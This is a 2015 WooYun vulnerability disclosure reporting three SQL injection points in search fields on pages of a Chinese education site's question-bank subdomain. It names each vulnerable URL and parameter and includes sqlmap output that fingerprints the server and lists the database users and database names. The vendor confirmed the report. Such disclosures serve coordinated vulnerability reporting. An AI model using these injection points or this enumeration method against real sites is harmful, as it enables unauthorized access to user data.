当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117095

漏洞标题：圣才学习网3处SQL注入(影响20万用户数据)

相关厂商：100eshu.com

漏洞作者： harbour_bin

提交时间：2015-05-30 10:20

修复时间：2015-07-14 11:40

公开时间：2015-07-14 11:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-30： 细节已通知厂商并且等待厂商处理中
2015-05-30： 厂商已经确认，细节仅向厂商公开
2015-06-09： 细节向核心白帽子及相关领域专家公开
2015-06-19： 细节向普通白帽子公开
2015-06-29： 细节向实习白帽子公开
2015-07-14： 细节向公众公开

简要描述：

圣才学习网下子站圣才题库3处SQL注入, 可影响20万用户数据.
PS:3个一起交,不是为了刷分,不过wooyun rank值能不能稍微多给点:-)

详细说明：

1、URL:http://tk.100xuexi.com/Member/MyShelf/buy.aspx
注入点:ContentPlaceHolder1_ChildContent_txt_SearchInput
2、URL:http://tk.100xuexi.com/Member/MyShelf/download.aspx
注入点:ContentPlaceHolder1_ChildContent_txt_SearchInput
3、URL:http://tk.100xuexi.com/Member/MyShelf/favor.aspx
注入点:ctl00$ctl00$ContentPlaceHolder1$ChildContent$txt_SearchInput

漏洞证明：

1、错误页面

注入1.png


注入2.png


注入3.png


2、已测试,可跑出相应数据

[09:28:58] [INFO] testing Microsoft SQL Server
[09:28:58] [INFO] confirming Microsoft SQL Server
[09:28:58] [INFO] the back-end DBMS is Microsoft SQL Server
[09:28:58] [INFO] fetching banner
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS
back-end DBMS operating system: Windows 7 Service Pack 1
back-end DBMS: active fingerprint: Microsoft SQL Server 2008
               banner parsing fingerprint: Microsoft SQL Server 2008 R
Pack 0 version 10.50.1600.1
               html error message fingerprint: Microsoft SQL Server
banner:
---
Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
        Apr \?a02 2010 15:48:46
        Copyright (c) Microsoft Corporation
        Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 760
 Pack 1)
---
[09:28:59] [INFO] fetching database users
[09:28:59] [INFO] the SQL query used returns 7 entries
[09:28:59] [INFO] retrieved: ##MS_PolicyEventProcessingLogin##
[09:28:59] [INFO] retrieved: ##MS_PolicyTsqlExecutionLogin##
[09:29:00] [INFO] retrieved: sa
[09:29:00] [INFO] retrieved: SmartExamTopperU
[09:29:00] [INFO] retrieved: UserLocal
[09:29:00] [INFO] retrieved: UserReader
[09:29:01] [INFO] retrieved: wjh
database management system users [7]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] sa
[*] SmartExamTopperU
[*] UserLocal
[*] UserReader
[*] wjh
[09:29:01] [INFO] fetching database names
[09:29:01] [INFO] the SQL query used returns 10 entries
[09:29:01] [INFO] retrieved: master
[09:29:01] [INFO] retrieved: model
[09:29:01] [INFO] retrieved: msdb
[09:29:02] [INFO] retrieved: ReportServer
[09:29:02] [INFO] retrieved: ReportServerTempDB
[09:29:02] [INFO] retrieved: scebookData
[09:29:02] [INFO] retrieved: scebookData
[09:29:02] [INFO] retrieved: sctkNew_hubo
[09:29:03] [INFO] retrieved: sctkNew_hubo
[09:29:03] [INFO] retrieved: tempdb
available databases [8]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] scebookData
[*] sctkNew_hubo
[*] tempdb
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS operating system: Windows 7 Service Pack 1
back-end DBMS: active fingerprint: Microsoft SQL Server 2008
               banner parsing fingerprint: Microsoft SQL Server 2008 R2 Service
Pack 0 version 10.50.1600.1
               html error message fingerprint: Microsoft SQL Server
banner:
---
Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
        Apr \?a02 2010 15:48:46
        Copyright (c) Microsoft Corporation
        Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service
 Pack 1)
---
[10:29:42] [INFO] fetching database names
[10:29:42] [INFO] the SQL query used returns 10 entries
[10:29:42] [INFO] retrieved: master
[10:29:42] [INFO] retrieved: model
[10:29:42] [INFO] retrieved: msdb
[10:29:42] [INFO] retrieved: ReportServer
[10:29:43] [INFO] retrieved: ReportServerTempDB
[10:29:43] [INFO] retrieved: SCEbook
[10:29:43] [INFO] retrieved: scebookData
[10:29:43] [INFO] retrieved: sctkNew
[10:29:43] [INFO] retrieved: sctkNew_hubo
[10:29:43] [INFO] retrieved: tempdb
available databases [10]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SCEbook
[*] scebookData
[*] sctkNew
[*] sctkNew_hubo
[*] tempdb

修复方案：

你们更专业！
PS：网站存在大量问题,已经提醒,厂商还是不够重视啊!

版权声明：转载请注明来源 harbour_bin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-05-30 11:38

厂商回复：

作者费心了，给高分！

最新状态：

暂无